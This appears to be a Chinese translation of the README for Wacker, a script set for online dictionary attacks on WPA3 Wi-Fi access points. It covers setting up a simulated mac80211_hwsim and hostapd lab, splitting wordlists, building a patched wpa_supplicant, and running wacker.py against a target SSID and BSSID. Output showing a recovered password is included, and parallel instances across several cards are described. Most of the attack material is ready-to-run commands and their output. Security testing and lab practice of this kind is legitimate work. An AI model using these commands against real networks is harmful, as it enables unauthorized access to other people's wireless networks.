一组脚本,用于协助对 WPA3 接入点执行在线字典攻击。Wacker 利用 wpa_supplicant 控制接口来控制 supplicant 守护进程的操作,并获取状态信息和事件通知,最终帮助在暴力破解尝试中加速连接尝试。
如果找不到用于测试的 WPA3 AP,可以考虑使用 mac80211_hwsim(如下所述)搭建本地环境,或使用 RF Hackers Sanctuary(scoreboard.rfhackers.com)提供的虚拟机。
要设置自己的 802.11 无线电软件模拟器,只需配置并加载正确的 mac80211_hwsim 模块。
# modprobe mac80211_hwsim radios=4
# iwconfig
wlan0 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on
wlan1 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on
wlan2 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on
wlan3 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on
选择其中一个新接口作为您的 WPA3 接入点,并使用以下配置文件。
# cat hostapd.conf
interface=wlan0
ssid=WCTF_18
driver=nl80211
hw_mode=g
channel=1
logger_syslog=-1
logger_syslog_level=3
wpa=2
wpa_passphrase=Aeromechanics
wpa_key_mgmt=SAE
rsn_pairwise=CCMP
ieee80211w=2
group_mgmt_cipher=AES-128-CMAC
然后使用以下命令启动 hostapd:
# hostapd -K -dd hostapd.conf
如果您打算将破解工作分散到一系列网卡上,提供的 split.sh 脚本可以帮助您分割单词列表。
# ./split.sh 10 cyberpunk.words
50916 cyberpunk.words.aaa
50916 cyberpunk.words.aab
50916 cyberpunk.words.aac
50916 cyberpunk.words.aad
50916 cyberpunk.words.aae
50916 cyberpunk.words.aaf
50916 cyberpunk.words.aag
50916 cyberpunk.words.aah
50916 cyberpunk.words.aai
50907 cyberpunk.words.aaj
509151 total
我们提供自己的 wpa_supplicant,以确保某些配置已设置,并且源代码本身需要进行一些修改。
# apt-get install -y pkg-config libnl-3-dev gcc libssl-dev libnl-genl-3-dev
# cp defconfig wpa_supplicant-2.10/wpa_supplicant/.config
# git apply wpa_supplicant.patch
# cd wpa_supplicant-2.10/wpa_supplicant
# make -j4
# ls -al wpa_supplicant
-rwxr-xr-x 1 root root 13541416 May 31 16:30 wpa_supplicant
需要 Python 3.6+
Wacker 应被视为 airodump 或 kismet 的辅助工具,目标选择已经提前完成。Wacker 有意禁用 wpa_supplicant 的背景扫描,以帮助加快认证尝试速度。
wacker.py 脚本旨在执行所有繁重的工作,并且需要目标的某些具体信息。
# ./wacker.py --help
usage: wacker.py [-h] --wordlist WORDLIST --interface INTERFACE --bssid BSSID
--ssid SSID --freq FREQ [--start START_WORD] [--debug]
A WPA3 dictionary cracker. Must run as root!
optional arguments:
-h, --help show this help message and exit
--wordlist WORDLIST wordlist to use
--interface INTERFACE
interface to use
--bssid BSSID bssid of the target
--ssid SSID the ssid of the WPA3 AP
--freq FREQ frequency of the ap
--start START_WORD word to start with in the wordlist
--debug increase logging output
如果运气好的话... 使用单个实例运行攻击...
# ./wacker.py --wordlist cyberpunk.words --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan2 --freq 2412
Start time: 21 Aug 2020 07:40:11
Starting wpa_supplicant...
5795 / 509151 words (1.14%) : 79.41 words/sec : 0.020 hours lapsed : 1.76 hours to exhaust (21 Aug 2020 09:25:49)
Found the password: 'Aeromechanics'
Stop time: 21 Aug 2020 07:41:24
如果您有额外的网卡,运行多个 wacker 实例很容易。不要忘记分割单词列表。
# ./wacker.py --wordlist cyberpunk.words.aaa --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan1 --freq 2412
# ./wacker.py --wordlist cyberpunk.words.aab --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan2 --freq 2412
# ./wacker.py --wordlist cyberpunk.words.aac --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan3 --freq 2412
wacker 非常 verbose。感兴趣的文件位于 /tmp/wacker/ 目录下
wacker 不处理目标 WPA3 AP 设置的 ACL。也就是说,当前代码总是使用相同的 MAC 地址。如果目标 AP 将我们的 MAC 地址加入黑名单,脚本将无法区分真实的认证失败和被黑名单拒绝的情况。这意味着我们会将真正的密码视为失败。一种解决方法…… 我们需要在源代码中添加 macchanger,但这会降低速度。
u631_3: WPA: AP group 0x10 network profile group 0x18; available group 0x10
u631_3: WPA: using GTK CCMP
u631_3: WPA: AP pairwise 0x10 network profile pairwise 0x18; available pairwise 0x10
u631_3: WPA: using PTK CCMP
u631_3: WPA: AP key_mgmt 0x400 network profile key_mgmt 0x400; available key_mgmt 0x400
u631_3: WPA: Failed to select authenticated key management type
u631_3: WPA: Failed to set WPA key management and encryption suites